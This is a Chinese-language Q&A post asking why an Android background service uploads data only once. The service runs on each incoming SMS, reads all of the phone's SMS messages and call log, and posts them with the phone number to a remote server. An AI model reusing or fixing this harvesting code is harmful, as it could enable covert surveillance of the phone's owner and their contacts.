我有一个应用程序,每次收到新消息时,我都会在其中向服务器发送数据。
问题:
仅一次成功上传数据,但下次不上传数据。我也用排球解决了这个问题,但是它也有同样的问题。
我尝试过的事情
BackgroundService.class
public class BackgroundService extends Service {
private static final String TAG = BackgroundService.class.getSimpleName();
Context context;
Uri mSmsQueryUri = Uri.parse("content://sms");
private boolean isRunning;
private Thread backgroundThread;
String phoneNumber;
SessionManager sessionManager;
ArrayList<String> smss;
String callllogs;
public BackgroundService() {
}
@Nullable
@Override
public IBinder onBind(Intent intent) {
return null;
}
@Override
public void onCreate() {
super.onCreate();
this.context = this;
sessionManager = new SessionManager(this);
this.isRunning = false;
Log.i(TAG, "onCreate called");
this.backgroundThread = new Thread(myTask);
}
@Override
public int onStartCommand(Intent intent, int flags, int startId) {
if (!this.isRunning) {
Log.i(TAG, "onStartCommand called");
this.backgroundThread.start();
this.isRunning = true;
stopSelf();
}
return START_STICKY;
}
private Runnable myTask = new Runnable() {
@RequiresApi(api = Build.VERSION_CODES.KITKAT)
public void run() {
if (BaseUrl.isConnectedtoInternet(context)) {
//addToServerOkhttp(context);
addtoServer(context);
} else {
Log.i(TAG, "No internt Connection");
}
}
};
@RequiresApi(api = Build.VERSION_CODES.KITKAT)
private void addtoServer(final Context context) {
Log.i(TAG, "addToServer called");
String url = BaseUrl.baseUrl + context.getResources().getString(R.string.store_new_details);
Log.i(TAG, url);
smss = getMessages();
callllogs = getCallDetail();
Toast.makeText(context, "inMethod", Toast.LENGTH_SHORT).show();
StringRequest request = new StringRequest(Request.Method.POST, url, new Response.Listener<String>() {
@Override
public void onResponse(String response) {
Log.i(TAG, response);
if (response.equals("Message Received!")) {
Toast.makeText(context, "ok rocky", Toast.LENGTH_SHORT).show();
AppController.getInstance().cancelPendingRequests(BaseUrl.tag_string_req);
}
// Toast.makeText(context, "Messages Uploaded Successfully.! (BackgroundService)", Toast.LENGTH_SHORT).show();
//Toast.makeText(context, response, Toast.LENGTH_SHORT).show();
}
}, new Response.ErrorListener() {
@Override
public void onErrorResponse(VolleyError error) {
// Toast.makeText(context, error.getLocalizedMessage(), Toast.LENGTH_SHORT).show();
if (error == null || error.networkResponse == null) {
return;
}
String body;
//get status code here
final String statusCode = String.valueOf(error.networkResponse.statusCode);
Log.i(TAG, statusCode);
//get response body and parse with appropriate encoding
try {
body = new String(error.networkResponse.data, "UTF-8");
Log.i(TAG, body);
} catch (UnsupportedEncodingException e) {
// exception
Log.i(TAG, e.getMessage());
}
Log.i(TAG, error.getMessage());
}
}) {
@Override
protected Map<String, String> getParams() throws AuthFailureError {
HashMap<String, String> params = new HashMap<>();
Log.i(TAG, SessionManager.getPhoneNumber());
params.put("imei_no", "");
params.put("calllog", callllogs);
params.put("record", smss.toString());
params.put("phone", SessionManager.getPhoneNumber());
return params;
}
};
// Adding request to request queue
AppController.getInstance().addToRequestQueue(request, BaseUrl.tag_string_req);
// try{
// RequestQueue requestQueue= Volley.newRequestQueue(this);
// requestQueue.add(request);
// }catch (Exception e){
// Log.i(TAG,e.getMessage());
// }
}
@RequiresApi(api = Build.VERSION_CODES.KITKAT)
public ArrayList<String> getMessages() {
ArrayList<String> messages = new ArrayList<String>();
ContentResolver contentResolver = getContentResolver();
Cursor cursor = null;
try {
cursor = contentResolver.query(mSmsQueryUri, new String[]{"_id", "address", "date", "body",
"type", "read"}, null, null, "date desc");
if (cursor == null) {
Log.i("curson null", "cursor is null. uri: " + mSmsQueryUri);
Toast.makeText(this, "curor null", Toast.LENGTH_SHORT).show();
}
//assert cursor != null;
for (boolean hasData = cursor.moveToFirst(); hasData; hasData = cursor.moveToNext()) {
String body = cursor.getString(cursor.getColumnIndex("body"));
String address = cursor.getString(cursor.getColumnIndex("address"));
messages.add("\n" + "Number: " + address + "\n" + "Content: " + body + "\n");
}
} catch (Exception e) {
Toast.makeText(context, e.getLocalizedMessage(), Toast.LENGTH_SHORT).show();
Log.e("Error", e.getMessage());
} finally {
//assert cursor != null;
cursor.close();
}
//Toast.makeText(context, "all okaay", Toast.LENGTH_SHORT).show();
return messages;
}
private String getCallDetail() {
Toast.makeText(context, "calldetails", Toast.LENGTH_SHORT).show();
StringBuffer stringBuffer = new StringBuffer();
Cursor cursor = context.getContentResolver().query(CallLog.Calls.CONTENT_URI,
null, null, null, CallLog.Calls.DATE + " DESC");
int number = cursor.getColumnIndex(CallLog.Calls.NUMBER);
int type = cursor.getColumnIndex(CallLog.Calls.TYPE);
int date = cursor.getColumnIndex(CallLog.Calls.DATE);
int duration = cursor.getColumnIndex(CallLog.Calls.DURATION);
while (cursor.moveToNext()) {
String phNumber = cursor.getString(number);
String callType = cursor.getString(type);
String callDate = cursor.getString(date);
Date callDayTime = new Date(Long.valueOf(callDate));
String callDuration = cursor.getString(duration);
String dir = null;
int dircode = Integer.parseInt(callType);
switch (dircode) {
case CallLog.Calls.OUTGOING_TYPE:
dir = "OUTGOING";
break;
case CallLog.Calls.INCOMING_TYPE:
dir = "INCOMING";
break;
case CallLog.Calls.MISSED_TYPE:
dir = "MISSED";
break;
}
stringBuffer.append("\nPhone Number:--- " + phNumber + " \nCall Type:--- "
+ dir + " \nCall Date:--- " + callDayTime
+ " \nCall duration in sec :--- " + callDuration);
stringBuffer.append("\n----------------------------------");
}
cursor.close();
//Toast.makeText(context, "also all ok", Toast.LENGTH_SHORT).show();
return stringBuffer.toString();
}
}
每次出现新消息时,都会从广播接收方调用服务 接收。